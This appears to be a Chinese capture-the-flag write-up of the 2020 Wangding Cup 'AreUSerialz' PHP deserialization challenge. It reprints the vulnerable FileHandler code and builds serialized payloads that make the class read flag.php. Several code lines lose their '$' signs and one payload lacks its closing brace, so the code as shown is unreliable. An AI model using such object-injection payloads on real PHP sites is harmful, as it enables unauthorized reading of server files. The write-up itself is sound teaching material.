[网鼎杯 2020 青龙组]AreUSerialz1

打开题目

熟悉的php,代码审计

可知这是一题反序列化类型的题目。

按照常规方法,首先,我们先将代码复制到本地进行序列化构造,

根据代码逻辑分析,咱们可知 function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

_destruct()析构函数当对象被销毁时会被自动调用;所以当反序列化函数调用时,会触发这个

分析此方法内的代码逻辑,当我们需要它正确输出flag时此魔术方法调用后会接着正确调用此对象中的process()方法和output()方法,所以write()方法也可以删除不用看, protected $content属性也可直接删了。

<?

include("flag.php");

highlight_file(FILE);

class FileHandler {

protected $op;

protected $filename;

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

res = this->read();

this-\>output(res);

} else {

$this->output("Bad Hacker!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

res = file_get_contents(this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]: <br>";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->process();

}

}

function is_valid($s) {

for(i = 0; i < strlen(s); i++)

if(!(ord(s\[i]) >= 32 && ord(s\[i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

str = (string)_GET['str'];

if(is_valid($str)) {

obj = unserialize(str);

}

}

根据构造函数is_valid($s) 可知,

s的值ASCII码范围得在32\<=s<=125;

再根据构造函数read()可知,

$filename值基本为flag.php

根据上述信息,构造第一个序列化值得到:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}

php将属性类型换成public

<?php

include("flag.php");

highlight_file(FILE);

class FileHandler {

public $op=2;

public $filename="flag.php";

}

O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";

相关推荐
雨白1 小时前
Jetpack Compose Navigation 2.x 详解
android·android jetpack
Android系统攻城狮4 小时前
Android内核进阶之获取DMA地址snd_pcm_sgbuf_get_addr:用法实例(九十一)
android·pcm·android内核·音频进阶·pcm硬件参数
清空mega4 小时前
Android Studio移动应用基础教程(前言)
android·ide·android studio
2501_937145414 小时前
2025IPTV 源码优化版实测:双架构兼容 + 可视化运维
android·源码·源代码管理·机顶盒
zhoutanooi6 小时前
安卓bp文件编译学习
android·学习
aramae7 小时前
MySQL数据库入门指南
android·数据库·经验分享·笔记·mysql
百锦再8 小时前
选择Rust的理由:从内存管理到抛弃抽象
android·java·开发语言·后端·python·rust·go
whatever who cares8 小时前
在Java/Android中,List的属性和方法
android·java
油炸小波10 小时前
09-微服务原理篇(XXLJOB-幂等-MySQL)
android·mysql·微服务
果子没有六分钟11 小时前
setprop debug.hwui.profile visual_bars有什么作用
android